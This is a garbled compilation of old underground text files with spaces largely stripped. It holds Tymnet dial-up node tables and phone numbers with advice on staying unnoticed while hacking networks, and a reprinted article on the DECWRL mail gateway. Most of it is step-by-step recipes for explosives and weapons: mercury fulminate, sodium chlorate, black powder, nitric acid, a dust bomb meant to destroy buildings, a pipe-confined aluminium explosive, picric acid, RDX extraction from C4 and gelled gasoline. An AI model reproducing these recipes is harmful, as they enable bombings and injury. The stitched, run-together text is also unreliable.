03526PaoliPennsylvania300/1200215/6480010@pdn
03562PhiladelphiaPennsylvania300/1200215/9237792@pdn
03562PhiladelphiaPennsylvania300/1200215/5570659@pdn
03562PhiladelphiaPennsylvania300/1200215/5457886@pdn
03562PhiladelphiaPennsylvania300/1200215/6770321@pdn
03562PhiladelphiaPennsylvania2400215/6250770@pdn
10672PittsburghPennsylvania300/1200412/2818950@pdn
10672PittsburghPennsylvania300/12004126874131@pdn
10672PittsburghPennsylvania2400412/2619732@pdn
10672PottstownPennsylvania300/1200215/3278032@pdn
03526QuqkertownPennsylvania300/1200215/5387032@pdn
03526ReadingPennsylvania300/1200215/3757570@pdn
10672RochesterPennsylvania300/1200412/7289770@pdn
03526ScratonPennsylvania300/120017/3481123@pdn
03526ScratonPennsylvania2400717/3411860@pdn
10672SharonPennsylvania300/1200412/3421681@pdn
03526TullytownPennsylvania300/1200215/5473300@pdn
10672UniontownPennsylvania300/1200412/4375640@pdn
03562ValleyForgePennsylvania300/1200215/2702970@pdn
10672WashingtonPennsylvania300/1200412/2239090@pdn
03526WaynePennsylvania300/1200215/3419605@pdn
10672WilkinsburgPennsylvania300/1200412/2411006@pdn
06254AlexandriaVirginia300/1200703/6836710@pdn
06254ArlingtonVirginia300/1200703/5248961@pdn
06254FairfaxVirginia300/1200703/3851343@pdn
06254McLeanVirginia300/1200703/8482941@pdn

@pdnBellAtlanticNetworkNameisPublicDataNetwork(PDN)
(connectmessage)._._._<_C_R_>_(synchronizesdataspeeds)
WelcometotheBPA/DSTPDN
*._T__<_C_R_>_
(Tymnetaddress)
131069(addressconfirmationTymnetDNIC)
com(confirmationofcallsetup)

GWY0XXXXTymnet:Pleaselogin:(host#withindashes)

BellSouth

NodeCityStateDensityAccessNumberModem
10207AtlantaGeorgia300/1200404/2614633@plsk
10207AthensGeorgia300/1200404/3540614@plsk
10207ColumbusGeorgia300/1200404/3245771@plsk
10207RomeGeorgia300/1200404/2347542@plsk
@plskBellSouthNetworkNameisPulseLink
(connectmessage)._._.__<_C_R_>_(synchronizesdataspeeds)
(doesnotechototheterminal)connectedPulseLink
1_3_1_0_6_(Tymnetaddress)
(doesnotechototheterminal)
PulseLink:callconnectedto13106
GWY0XXXXTymnet:Pleaselogin:(host#withindashes)
PacificBell

NodeCityStateDensityAccessNumberNTWK
03306BerkelyCalifornia300/12004155482121@pps
06272ElSegundoCalifornia300/12002136408548@pps
06272FullertonCalifornia300/12007144412777@pps
06272InglewoodCalifornia300/12002132167667@pps
06272LosAngeles(DownTown)California300/12002136873727@pps
06272LosAngelesCalifornia300/12002134801677@pps
03306MountainViewCalifornia300/12004159603363@pps
03306OaklandCalifornia300/12004158939889@pps
03306PaloAltoCalifornia300/12004153254666@pps
06272PasadenaCalifornia300/12008183560780@pps
03306SanFranciscoCalifornia300/12004155438275@pps
03306SanFranciscoCalifornia300/12004156265380@pps
03306SanFranciscoCalifornia300/12004153622280@pps
03306SanJoseCalifornia300/12004089200888@pps
06272SantaAnnaCalifornia300/12007149729844@pps
06272VanNuysCalifornia300/12008187801066@pps

@ppsPacificBellNetworkNameisPublicPacketSwitching(PPS)
(connectmessage)._._._<_C_R_(synchronizesdataspeeds)>
(doesnotechototheterminal)online1200
welcometoPPS:415XXXXXXX
1_3_1_0_6_9_(Tymnetaddress)
(doesnotechountilTymnetresponds)
GWY0XXXXTymnet:Pleaselogin:(host#withindashes)

SouthwesternBell

NodeCityStateDensityAccessNumbersNWRK
05443KansasCityKansas300/1200316/2259951@mrlk
05443HaysKansas300/1200913/6258100@mrlk
05443HutchinsonKansas300/1200316/6691052@mrlk
05443LawrenceKansas300/1200913/8415580@mrlk
05443ManhattanKansas300/1200913/5399291@mrlk
05443ParsonsKansas300/1200316/4210620@mrlk
05443SalinaKansas300/1200913/8254547@mrlk
05443TopekaKansas300/1200913/2351909@mrlk
05443WichitaKansas300/1200316/2691996@mrlk
04766Bridgetown/St.LouisMissouri300/1200314/6220900@mrlk
04766St.LouisMissouri300/1200314/6220900@mrlk
06510AdaOklahoma300/1200405/4
Onasidenote,therecentbookTheCuckoo'sEggprovidessomeinteresting
information(intheformofastory,however)onaTymnethacker.Rememberthathe
was into BIG things, and hence he was cracked down upon. If you keep a low
profile,networksshouldprovideagoodaccessmethod.Ifyoucanfindasystemthat
isconnectedtotheInternetthatyoucangetonfromTymnet,youaredoingwell.
FrackInc.VolumeThree,Issue30,File#5of12
TheDECWRLMailGateway
byDedicatedLink
September20,1989
Introduction
DECWRLisamailgatewaycomputeroperatedbyDigital'sWesternResearch
Laboratory in Palo Alto, California. Its purpose is to support the interchange of
electronicmailbetweenDigitalandthe"outsideworld."DECWRLisconnectedto
Digital'sEasynet,andalsotoanumberofdifferentoutsideelectronicmailnetworks.
DigitaluserscansendoutsidemailbysendingtoDECWRL::"outsideaddress",and
digitaluserscanalsoreceivemailbyhavingyourcorrespondentsrouteitthrough
DECWRL.Thedetailsofincomingmailaremorecomplex,andarediscussedbelow.
ItisvitallyimportantthatDigitalemployeesbegoodcitizensofthenetworksto
whichweareconnected.Theydependontheintegrityofourusercommunityto
ensurethattightercontrolsovertheuseofthegatewayarenotrequired.Themost
importantruleis"nochainletters,"butthereareotherrulesdependingonwhether
theconnectednetworkthatyouareusingiscommercialornoncommercial.The
currenttrafficvolume(September1989)isabout10000mailmessagesperdayand
about3000Usenetmessagesperday.Gatewayedmailtraffichasdoubledevery

yearsince1983.DECWRLiscurrentlyaVax8530computerwith48megabytesof
mainmemory,2500megabytesofdiskspace,89600baud(Telebit)modemports
andvariousnetworkconnections.TheywillshortlybeupgradingtoaVax8650
system.TheyrunUltrix3,0asthebaseoperatingsystem.

Administration
Thegatewayhasengineeringstaff,butnoadministrativeorclericalstaff.They
workhardtokeepitrunning,buttheydonothavetheresourcestoanswertelephone
queriesorprovidetutorialsinitsuse.TheypostperiodicstatusreportstotheUsenet
newsgroupdec.general.Varioushelpfulpeopleusuallycopythesereportstothe
VaxNotes"gateways"conferencewithinadayortwo.
Howtosendmail
DECWRLisconnectedtoquiteanumberofdifferentmailnetworks.Ifyouwere
loggedondirectlytoit,youcouldtypeaddressesdirectly,e.g.
To:strange!foreign!address.
Butsinceyouarenotloggedondirectlytothegateway,youmustsendmailsothat
whenitarrivesatthegateway,itwillbesentasif thataddresshadbeentyped
locally.
SendingfromVMS
IfyouareaVMSuser,youshoulduseNMail,becauseVMSmaildoesnotknow
howtorequeueandretrymailwhenthenetworkiscongestedordisconnected.From
VMS,addressyourmaillikethis:
To:nm%DECWRL::"strange!foreign!address"
Thequotecharacters(")areimportant,tomakesurethatVMSdoesn'ttryto
interpretstrange!foreign!addressitself.Ifyouaretypingsuchanaddressinsidea
mailprogram,itwillworkasadvertised.IfyouareusingDCLandtypingdirectlyto
thecommandline,youshouldbewarethatDCLlikestoremovequotes,soyouwill
havetoenclosetheentireaddressinquotes,andthenputtwoquotesineveryplace
thatonequoteshouldappearintheaddress:
$mailtest.msg"nm%DECWRL::""foreign!addr"""/subj="hello"
Note: thethreequotesinarowafterforeign!addr.Thefirsttwoof themare
doubledtoproduceasinglequoteintheaddress,andthethirdendstheaddressitself
(balancingthequoteinfront of thenm%).Herearesometypicaloutgoingmail
addressesasusedfromaVMSsystem:
To: nm%DECWRL:: "lll winkin ! netsys ! phrack"
To: nm%DECWRL:: "postmaster @ msp. pnet. sc. edu"

To: nm%DECWRL:: "netsys ! phrack @ uunet. uu. net"

To: nm%DECWRL:: "phrackserv @ cunyvm. bitnet"
To:nm%DECWRL::"Chris.Jones@f654.n987.z1.fidonet.org"
SendingfromUltrix
IfyourUltrixsystemhasbeenconfiguredforit,thenyoucan,fromyourUltrix
system,justsenddirectlytotheforeignaddressandthemailsoftwarewilltakecare
ofallofthegatewayroutingforyou.MostUltrixsystemsinCorporateResearchand
inthePaloAltoclusterareconfiguredthisway.TofindoutwhetheryourUltrix
systemhasbeensoconfigured,justtryitandseewhathappens.Ifitdoesn'twork,
youwillreceivenotificationalmostinstantly.
Note: The Ultrix mail system is extremely flexible; it is almost completely
configurablebythecustomer.Whilethisisvaluabletocustomers,itmakesitvery
difficult to write global instructions for the use of Ultrix mailers, because it is
possiblethatthelocalchangeshaveproducedsomethingquiteunlikethevendor
deliveredmailer.Oneofthepopularchangesistotinkerwiththemeaningofquote
characters(")inUltrixaddresses.Somesystemsconsiderthatthesetwoaddresses
arethesame:
site1!Site2!User@host.dec.com
and
"site1!Site2!User"@host.dec.com
whileothersareconfiguredsothatoneformwillworkandtheotherwillnot.Allof
theseexamplesusethequotes.Ifyouhavetroublegettingtheexamplestowork,
pleasetrythemagainwithoutthequotes.PerhapsyourUltrixsystemisinterpreting
thequotesdifferently.IfyourUltrixsystemhasanIPlinktoPaloAlto(type"/etc/
pingdecwrl.dec.com"tofindoutifitdoes),thenyoucanrouteyourmailtothe
gatewayviaIP.ThishastheadvantagethatyourUltrixmailheaderswillreachthe
gatewaydirectly,insteadofbeingtranslatedintoDecnetmailheadersandthenback
intoUltrixattheotherend.Dothisasfollows:
To:"alien!Address"@decwrl.dec.com
Thequotesarenecessaryonlyifthealienaddresscontainsa!character,butthey
don't hurt if you use them unnecessarily. If the alien address contains an "@"
character,youwillneedtochangeitintoa"%"character.Forexample,tosendvia
IPtojoe@widget.org,youshouldaddressthemail
To:"joe%widget.Org"@decwrl.dec.com
IfyourUltrixsystemhasonlyaDecnetlinktoPaloAlto,thenyoushouldaddress
mailinmuchthesamewaythatVMSusersdo,savethatyoushouldnotputthenm%
infrontoftheaddress:
To:DECWRL::"strange!foreign!address"
HerearesometypicaloutgoingmailaddressesasusedfromanUltrixsystemthat
hasIPaccess.UltrixsystemswithoutIPaccessshouldusethesamesyntaxasVMS
users,exceptthatthenm%atthefrontoftheaddressshouldnotbeused.
To: "lll winken ! Netsys ! Phrack" @ decwrl. dec. com
To: "postmaster%msp. Pnet. sc. edu" @ decwrl. dec. com

To: "phrackserv%cunyvm. bitnet" @ decwrl. dec. com

To: "netsys ! phrack%uunet. uu. net" @ decwrl. dec. com
To:"Chris.Jones@f654.n987.z1.fidonet.org"@decwrl.dec.com

DetailsofusingotherNetworks
Alloftheworld'scomputernetworksareconnectedtogether,moreorless,soitis
hardtodrawexactboundariesbetweenthem.PreciselywheretheInternetendsand
UUCPbeginsisamatterofinterpretation.Forpurposesofsendingmail,though,itis
convenienttodividethenetworkuniverseintothesecategories:
EasynetDigital'sinternalDecnetnetwork.Characterizedbyaddressesoftheform
Node::user.Easynetcanbeusedforcommercialpurposes.
Internet A collection of networks including the old Arpanet, the NSFnet, the
CSnet, and others. Most international research, development, and educational
organizations are connected in some fashion to the Internet. Characterized by
addressesoftheformuser@site.subdomain.domain.TheInternetitselfcannotbe
usedforcommercialpurposes.
UUCP A very primitive network with no management, built with autodiallers
phoningonecomputerfromanother.Characterizedbyaddressesoftheformplace1!
place2!user.TheUUCPnetworkcanbeusedforcommercialpurposesprovidedthat
noneofthesitesthroughwhichthemessageisroutedobjectstothat.
USENETNotanetworkatall,butalayerofsoftwarebuiltontopofUUCPand
Internet.
BITNETAnIBMbasednetworklinkingprimarilyeducationalsites.Digitalusers
can send to Bitnet as if it were part of Internet, but Bitnet users need special
instructions for reversing the process. Bitnet cannot be used for commercial
purposes.
Fidonet A network of personal computers. I am unsure of the status of using
Fidonetforcommercialpurposes,noramIsureofitsefficacy.
Domainsanddomainaddressing
Thereisaparticularnetworkcalled"theInternet;"itissomewhatrelatedtowhat
usedtobe"theArpanet."TheInternetstyleofaddressingisflexibleenoughthat
peopleuseitforaddressingothernetworksaswell,withtheresultthatitisquite
difficulttolookatanaddressandtelljustwhatnetworkitislikelytotraverse.But
thephrase"Internetaddress"doesnotmean"mailaddressofsomecomputeronthe
Internet"butrather"mailaddressinthestyleusedbytheInternet."Terminologyis
evenfurtherconfusedbecausetheword"address"meansonethingtopeoplewho
buildnetworksandsomethingentirelydifferenttopeoplewhousethem.Inthisfile
an"address"issomethinglike"mike@decwrl.dec.com"andnot"192.1.24.177"
(whichiswhat networkengineerswouldcallan"internetaddress").TheInternet

naming scheme uses hierarchical domains, which despite their title are just a
bookkeepingtrick.Itdoesn'treallymatterwhetheryousayNode::useroruser@
node,butwhathappenswhenyouconnecttwocompaniesnetworkstogetherand
theybothhaveanode Anchor ???Youmust,somehow,specifywhichAchoryou
mean.Youcouldsayanchor.Dec::userordec.anchor::useroruser@anchor.dec
oruser@dec.anchor.TheInternetconventionistosayuser@anchor.dec,withthe
owner (Dec) after the name (Anchor). But there could be several different
organizationsnamedDec.YoucouldhaveDigitalEquipmentCorporationorDown
East College or Disabled Education Committee. The technique that the Internet
schemeusestoresolveconflictslikethisistohavehierarchicaldomains.Anormal
domain isn't Dec or Stanford, but dec. com (commercial) and staford. edu
(educational). These domains can be further divided into zk3. dec. com or cs.
stanford. edu. This doesn't resolve conflicts completely, though: both Central
MichiganUniversityandCarnegieMellonUniversitycouldclaimtobe cmu.edu.
Theruleisthattheowneroftheedudomaingetstodecide,justastheownerofthe
cmu. edu gets to decide whether the Electrical Engineering department or the
ElementaryEducationdepartmentgetssubdomainee.cmu.edu.Thedomainscheme,
while not perfect, is completely extensible. If you have two addresses that can
potentiallyconflict,youcansuffixsomedomaintotheendofthem,therebymaking,
say,decwrl.uucpbesomehowdifferentfromdecwrl.enet.DECWRL'sentiremail
systemisorganizedaccordingtoInternetdomains,andinfactwehandleallmail
internallyasifitwereInternetmail.IncomingmailisconvertedintoInternetmail,
andthenroutedtotheappropriatedomain;ifthatdomainrequiressomeconversion,
thenthemailisconvertedtotherequirementsoftheoutbounddomainasitpasses
throughthegateway.Forexample,theyputEasynetmailintothedomain:username
@f<node#>.n<net#>.z<zone#>.ifna.org.Inotherwords,ifIwantedto
mailtoSiliconSwindlerat1:135/5,theaddresswouldbesilicon_swindler@f5.
N135.Z1.ifna.organd,providedthatyourmailerknowsthe.Ifna.orgdomain,it
shouldgetthroughalright.Apparently,asofthewritingofthisarticle,theyhave
implementedanewgatewaynamecalledfidonet.orgwhichshouldworkinplaceof
ifna.orginallroutings.Ifyourmailerdoesnotknoweitherofthesedomains,usethe
aboveroutingbutreplacethefirst"@"witha"%"andthenafterwards,useeitherof
thefollowingmailersafterthe"@":cs.orst.eduork9.cs.orst.edu(i.e.username
%f<node#>.n<net#>.z<zone#>.fidonet.org@cs.orst.edu[orreplacecs.
orst.eduwithk9.cs.orst.edu]).ThefollowingisalistcompiledbyBillFenner(wcf
@psuecl.bitnet)thatwaspostedonInfonetsDigestwhichlistsanumberofFidonet
gateways:
NetNodeNodeName
10456milehi.ifna.org
10555casper.ifna.org
107320rubbs.ifna.org
109661blkcat.ifna.org
125406fidogate.ifna.org

12819hipshk.ifna.org
12965insight.ifna.org
143N/Afidogate.ifna.org
152200castle.ifna.org
161N/Afidogate.ifna.org

36917megasys.ifna.org

Note:TheUUCPequivalentnodenameisthefirstpartofthenodename.Inother
words,theUUCPnodemilehiislistedasmilehi.ifna.orgbutcanbemaileddirectly
overtheUUCPnetwork.AnotherwaytomailtoFidonet,specificallyforInternet
people,isinthisformat:ihnp4!Necntc!Ncoast!Ohiont!<net#>!<node#>!
user_name@husc6.harvard.edu.AndforthoseUUCPmailingpeopleoutthere,
justusethepathdescribedandignorethe@husc5.Harvard.eduportion.Thereisa
FidonetNodeListavailableonmostanyFidonetbulletinboard,butitisquitelarge.
OnTyme
PreviouslyknownasTymnet,OnTymeistheMcDonnellDouglasrevision.After
theyboughtoutTymnet,theyrenamedthecompanyandopenedanexperimental
Internetgatewayatontyme.tymnet.combutthisissupposedlyonlygoodforcertain
corporateaddresseswithinMcDonnellDouglasandTymnet,nottheircustomers.
Theuseridformatisxx.yyyorxx.y/yywherexxisanetnameandyyy(ory/yy)
isatrueusername.Ifyoucannotdirectlynailthis,try:
xx.yyy%ontyme.Tym.
SodiumChlorate
byJollyRoger
SodiumChlorateisastrongoxidizerusedinthemanufactureofexplosives.Itcan
beusedinplaceofPotassiumChlorate.

MaterialRequiredSources
2carbonorleadrods(in.diameterby5in.long)drycellbatteries
(21/2in.diameterby7"long)orplumbingsupplystore
saltoroceanwatergrocerystoreorocean
sulfuricacid,dilutedmotorvehiclebatteries
motorvehicle;water
2wires,16gauge(3/64in.diameterapprox.),
6ft.long,insulated;gasoline;1gallonglassjar,
widemouth;(5in.diameterby6in.highapprox.);
sticks;string;teaspoon;trays;cup;heavycloth;
knifeandlargeflatpanortray
Procedure
Mix1/2cupofsaltintotheonegallonglassjarwith3litres(3quarts)ofwater.
Add2teaspoonsofbatteryacidtothesolutionandstirvigorouslyfor5minutes.
Stripabout4inchesofinsulationfrombothendsofthetwowires.Withknifeand

sticks,shape2stripsofwood1by1/8by11/2.Tiethewoodstripstotheleador
carbonrodssothattheyare11/2inchesapart.Connecttherodstothebatteryina
motorvehiclewiththeinsulatedwire.Submerge41/2inchesoftherodsinthesalt
watersolution.Withgearinneutralposition,startthevehicleengine.Depressthe
acceleratorapprox.1/5ofitsfulltravel.Runtheenginewiththeacceleratorinthis
positionfor2hours,thenshutitdownfor2hours.Repeatthiscycleforatotalof64
hourswhilemaintainingtheleveloftheacidsaltwatersolutionintheglassjar.
Caution:Thisarrangementemploysvoltageswhichcanbequitedangerous!Donot
touchbarewireleadswhileengineisrunning!!!Shutofftheengine.Removethe
rodsfromtheglassjaranddisconnectwireleadsfromthebattery.Filterthesolution
throughtheheavyclothintoaflatpanortray,leavingthesedimentatthebottomof
the glass jar. Allow the water in the filtered solution to evaporate at room
temperature(approx.16hours).Theresidueisapproximately60%ormoresodium
chloratewhichispureenoughtobeusedasanexplosiveingredient.
Mercuryfulminate2
byExodus
Mercuryfulminateisperhapsoneoftheoldestknowninitiatingcompounds.Itcan
bedetonatedbyeitherheatorshock,whichwouldmakeitofinfinitevaluetoa
terrorist.Eventheactionofdroppingacrystalofthefulminatecausesittoexplode.
Apersonmakingthismaterialwouldprobablyusethefollowingprocedure:
MaterialsEquipment

5gmercuryglassstirringrod
35mlconcentratednitricacid100mlbeaker(2)
ethylalcohol(30ml)adjustableheatsource
distilledwaterbluelitmuspaper
funnelandfilterpaper
Solventalcoholmustbeatleast95%ethylalcoholifitisusedtomakemercury
fulminate.Methylalcoholmaypreventmercuryfulminatefromforming.Mercury
thermometersarebecomingararity,unfortunately.Theymaybehardtofindinmost
storesastheyhavebeensupersededbyalcoholandotherlesstoxicfillings.Mercury
isalsousedinmercuryswitches,whichareavailableatelectronicsstores.Mercuryis
ahazardoussubstanceandshouldbekeptinthethermometerormercuryswitchuntil
used.Itgivesoffmercuryvapourswhichwillcausebraindamageifinhaled.Forthis
reason,itisagoodideanottospillmercury,andtoalwaysuseitoutdoors.Alsodo
notgetitinanopencut;rubbergloveswillhelppreventthis.Inonebeaker,mix5g
ofmercurywith35mlofconcentratednitricacid,usingtheglassrod.Slowlyheat
themixtureuntilthemercuryisdissolved,whichiswhenthesolutionturnsgreen
and boils. Place 30 ml of ethyl alcohol into the second beaker, and slowly and
carefullyaddallofthecontentsofthefirstbeakertoit.Redand/orbrownfumes

shouldappear.Thesefumesaretoxicandflammable.Afterthirtytofortyminutes,
thefumesshouldturnwhite,indicatingthatthereactionisnearcompletion.Afterten
moreminutes,add30mlofthedistilledwatertothesolution.Carefullyfilteroutthe
crystalsofmercuryfulminatefromtheliquidsolution.Disposeofthesolutionina
safeplace,asitiscorrosiveandtoxic.Washthecrystalsseveraltimesindistilled
watertoremoveasmuchexcessacidaspossible.Testthecrystalswiththelitmus
paperuntiltheyareneutral.Thiswillbewhenthelitmus paperstaysbluewhenit
touchesthewetcrystals.Allowthecrystalstodry,andstoretheminasafeplace,far
awayfromanyexplosiveorflammablematerial.Thisprocedurecanalsobedoneby
volume,iftheavailablemercurycannotbeweighed.Simplyuse10volumesofnitric
acidand10volumesofethanoltoeveryonevolumeofmercury.
ImprovisedBlackPowder
byJollyRoger
Blackpowdercanbepreparedinasimple,safemanner.Itmaybeusedasblasting
orgunpowder.
MaterialRequired
PotassiumNitrate,granulated,3cups(3/4litre);Woodcharcoal,powdered,2
cups;Sulfur,powdered,1/2cup;Alcohol,5pints(21/2litres)(whiskey,rubbing
alcoholetc.);Water,3cups(3/4litre);Heatsource;2bucketseach2gallon(71/2
litres) capacity,at least oneof whichisheat resistant(metal,ceramicetc.);Flat
windowscreening,atleast1foot(30cm)square;Largewoodenstick;Cloth,atleast
2feet(60cm)square
Procedure
Placealcoholinoneofthebuckets.Placepotassiumnitrate,charcoalandsulfurin
theheatresistantbucket.Add1cupwaterandmixthoroughlywithwoodenstick
untilallingredientsaredissolved.Addremainingwater(2cups)tomixture.Place
bucketonheatsourceandstiruntilsmallbubblesbegintoform.
Caution:Donotboilmixture.Besureallmixturestayswet.Ifanyisdry,ason
sidesofpan,itmayignite!Removebucketfromheatandpourmixtureintoalcohol
whilestirringvigorously.Letalcoholmixturestandabout5minutes.Strainmixture
through cloth to obtain black powder. Discard liquid. Wrap cloth around black
powderandsqueezetoremoveallexcessliquid.Placescreeningoverdrybucket.
Placeworkableamountofdamppowderonscreenandgranulatebyrubbingsolid
throughscreen.
Note:Ifgranulatedparticlesappeartosticktogetherandchangeshape,recombine
entirebatchofpowderandrepeatsteps5&6.Spreadgranulatedblackpowderon
flat,drysurfacesothatlayerabout1/2inch(11/4cm)isformed.Allowtodry.
Useradiator,ordirectsunlight.Thisshouldbedriedassoonaspossible,preferably

inanhour.Thelongerthedryingperiod,thelesseffectivetheblackpowder.
Caution: Removefromheat assoonas granulesaredry.Blackpowderisnow
readytouse.

Nitricacid
byExodus'94
Thereareseveralwaystomakethismostessentialofallacidsforexplosives.One
methodbywhichitcouldbemadewillbepresented.Onceagain,beremindedthat
thesemethodsshouldnotbecarriedout!!!
MaterialsEquipment

sodiumnitrateorpotassiumnitrateadjustableheatsource
distilledwaterretort
concentratedsulfuricacidicebath
collectingflaskwithstopperstirringrod
Pour32mlofconcentratedsulfuricacidintotheretort.Carefullyweighout58
gramsofsodiumnitrateor68gramsofpotassiumnitrate.Andaddthistotheacid
slowly.Ifitalldoesnotdissolve,carefullystirthesolutionwithaglassroduntilit
does. Place the open end of the retort into the collecting flask, and place the
collectingflaskintheicebath.Beginheatingtheretort,usinglowheat.Continue
heatinguntilliquidbeginstocomeoutoftheendoftheretort.Theliquidthatforms
isnitricacid.Heatuntiltheprecipitateinthebottomoftheretortisalmostdryor
untilnomorenitricacidisforming.
Caution:Iftheacidisheadedtoostrongly,thenitricacidwilldecomposeassoon
asit isformed.Thiscanresultintheproductionofhighlyflammableandtoxic
gassesthatmayexplode.Itisagoodideatosettheaboveapparatusupandthenget
awayfrom it.Potassiumnitratecouldalsobeobtainedfromstoreboughtblack
powder,simplybydissolvingblackpowderinboilingwaterandfilteringoutthe
sulfurandcharcoal.Toobtain68gofpotassiumnitrate,itwouldbenecessaryto
dissolveabout90gofblackpowderinaboutonelitreofboilingwater.Filterthe
dissolvedsolutionthroughfilterpaperinafunnelintoajaruntiltheliquidthatpours
throughisclear.Thecharcoalandsulfurinblackpowderareinsolubleinwater,and
sowhenthesolutionofwaterisallowedtoevaporate,potassiumnitratewillbeleftin
thejar.
DustBombInstructions
byJollyRoger
Aninitiatorwhichwillinitiatecommonmaterialtoproducedustexplosionscanbe

rapidlyandeasilyconstructed.Thistypeofchargeisidealforthedestructionof
enclosedareassuchasroomsorbuildings.
MaterialRequired
Aflatcan,3in.(8cm)indiameterand11/2in.(33/4cm)high.A61/2ounce
tunacanservesthepurposequitewell;Blastingcap;Explosive;Aluminium(maybe
wire,cutsheet,flattenedcanorpowder);Largenail,4in.(10cm)long;Woodenrod
1/4in.(6mm)diameter;Flour,gasoline,andpowderorchippedaluminium
Note:Plasticexplosiveproducebetterexplosionsthancastexplosives.
Procedure
Usingthenail,pressaholethroughthesideofthetunacan3/8inchto1/2inch(1
to11/2cm)fromthebottom.Usingarotatingandleveraction,enlargethehole
until it will accomodate the blasting cap. Place the wooden rod in the hole and
positiontheendoftherodatthecenterofthecan.Pressexplosiveintothecan,being
suretosurroundtherod,untilitis3/4inch(2cm)fromthetopofthecan.Carefully
removethewoodenrod.Placethealuminiummetalontopoftheexplosive.Just
beforeuse,inserttheblastingcapintothecavitymadebytherod.Theinitiatoris
nowreadytouse.
Note:Ifitisdesiredtocarrytheinitiatorsomedistance,cardboardmaybepressed
ontopofthealuminiumtoinsureagainstlossofmaterial.
HowtoUse
Thisparticularunitworksquitewelltoinitiatechargesoffivepoundsofflour,1/2
gallon(12/3litres)ofgasoline,ortwopoundsofflakepaintersaluminium.The
solidmaterialsmaymerelybecontainedinsacksorcardboardcartons.Thegasoline
maybeplacedinplasticcoatedpapermilkcartons,aswellasplasticorglassbottles.
Thechargesareplaceddirectlyontopoftheinitiatorandtheblastingcapisactuated
electricallyorbyafusedependingonthetypeofcapemployed.thiswilldestroya
2000cubicfeetenclosure(building10x20x10feet).
Note:Forlargerenclosures,useproportionallylargerinitiatorsandcharges.
CarbonTetExplosive
byJollyRoger
Amoistexplosivemixturecanbemadefromfinealuminiumpowdercombined

with carbontetrachloride or tetrachloroethylene.This explosive can be detonated

withablastingcap.

MaterialRequiredSource

FinealuminumbronzingpowderPaintstore
CarbonTetrachloridePharmacyorfireor
extinguisherfluid
tetrachloroethyleneDrycleaners,pharmacy
Stirringrod(wood)
Mixingcontainer(bowl,bucketetc.)
Measuringcontainer(cup,tablespoonetc.)
Storagecontainer(jar,canetc.)
Blastingcap
Pipe,canorjar
Procedure
Measure out two parts aluminium powder to one part carbon tetrachloride or
tetrachlorethylene liquid into mixing container, adding liquid to powder while
stirringwiththewoodenrod.Stiruntilthemixturebecomestheconsistencyofhoney
syrup.
Caution: Fumesfromtheliquidaredangerousandshouldnotbeinhaled.Store
explosiveinajarorsimilarwaterproofcontaineruntilreadytouse.Theliquidinthe
mixtureevaporatesquicklywhennotconfined.
Note:Mixturewilldetonateinthismannerforaperiodof72hours.
HowtoUse
Pourthismixtureintoanironorsteelpipewhichhasanendcapthreadedonone
end.Ifapipeisnotavailable,youmayuseadrytincanorglassjar.Insertblasting
capjustbeneaththesurfaceoftheexplosivemix.
Note:Confiningtheopenendofthecontainerwilladdtotheeffectivenessofthe
explosive.
MakingPicricAcidfromAspirin
byJollyRoger
PicricAcidcanbeusedasaboosterexplosiveindetonators,ahighexplosive
charge,orasanintermediatetopreparingleadpicrate.
MaterialRequired
Aspirin tablets (5 grains per tablet); Alcohol, 95 % pure; Sulphuric acid,

concentrated,(ifbatteryacid,boiluntilwhitefumesdisappear);PotassiumNitrate
(seeelsewhereinthisCookbook);Water;Papertowels;Canningjar,1pint;Rod
(glass or wood); Glass containers; Ceramic or glass dish; Cup; Teaspoon;
Tablespoon;Pan;HeatsourceandTape.
Procedure
Crush20aspirintabletsinaglasscontainer.Add1teaspoonofwaterandwork
intoapaste.Addapproximately1/3to1/2cupofalcohol(100ml)totheaspirin
paste;stirwhilepouring.Filterthealcoholaspirinsolutionthroughapapertowel
into another glass container. Discard the solid left in the paper towel. Pour the
filteredsolutionintoaglassorceramicdish.Evaporatethealcoholandwaterfrom
thesolutionbyplacingthedishintoapanofhotwater.Whitepowderwillremainin
thedishafterevaporation.
Note:Thewaterinthepanshouldbeathotbathtemperature,notboiling,approx.
160to180degreesFarenheit.Itshouldnotburnthehands.
Pour1/3cup(80ml)ofconcentratedsulfuricacidintoacanningjar.Addthe
white powder to the sulfuric acid. Heat canning jar of sulfuric acid in a pan of
simmeringhotwaterbathfor15minutes;thenremovejarfromthebath.Solution
willturntoayelloworangecolour.Add3levelteaspoons(15grams)ofpotassium
nitrate in three portions to the yellow orange solution; stir vigorously during
additions.Solutionwillturnred,thenbacktoayelloworangecolour.Allowthe
solutiontocool toambient roomtemperaturewhilestirringoccasionally.Slowly
pourthesolution,whilestirring,into11/4cup(300ml)ofcoldwaterandallowto
cool.Filterthesolutionthroughapapertowelintoaglasscontainer.Lightyellow
particles will collect on the paper towel. Wash the light yellow particles with 2
tablespoons(25ml)ofwater.Discardthewasteliquidinthecontainer.Placearticles
inceramicdishandsetinahotwaterbath,asinstep5,for2hours.
ReclamationofRDXfromC4Explosives
byJollyRoger
RDXcanbeobtainedfromC4explosiveswiththeuseofgasoline.Itcanbeused
asaboosterexplosivefordetonatorsorasahighexplosivecharge.
MaterialRequired
Gasoline;C4explosive;2pintglassjars,widemouth;Papertowels;Stirring
rod(glassorwood);Water;Ceramicorglassdish;Pan;Heatsource;Teaspoon;Cup
andTape.
Note:Water,Ceramicorglassdish,panandheatsourcearealloptional.TheRDX
canbeairdriedinstead.
Procedure

Place11/2teaspoons(15grams)ofC4explosiveinoneofthepintjars.Add1
cup(240ml)ofgasoline.
Note:ThesequantitiescanbeincreasedtoobtainmoreRDX.Forexample,use2
gallonsofgasolineper1cupofC4.KneadandstirtheC4withtheroduntilthe
C4hasbrokendownintosmallparticles.Allowmixturetostandfor1/2hour.Stir
themixtureagainuntilafinewhitepowderremainsonthebottomofthejar.Filter
the mixture through a paper towel into the other glass jar. Wash the particles
collectedonthepapertowelwith1/2cup(120ml)ofgasoline.Discardthewaste
liquid.PlacetheRDXparticlesinaglassorceramicdish.Setthedishinapanofhot
water,notboilinganddryforaperiodof1hour.
Note:TheRDXparticlesmaybeairdriedforaperiodof2to3hours.Seelaterfile
...CBIV.
EggbasedGelledFlameFuels
byJollyRoger
Thewhiteofanybirdeggcanbeusedtogelgasolineforuseasaflamefuelwhich
willadheretotargetsurfaces.
MaterialsRequired

PartsbyVolumeIngredientHowuseCommonSource

85GasolineMotorFuelGasStations
StoveFuelMotorVehicle
Solvent
14EggWhitesFoodFoodStore
IndustrialFarms
Processes
Anyoneofthefollowing:

1TableSaltFoodSeaWater
IndustrialProcessesNaturalBrineFoodStore
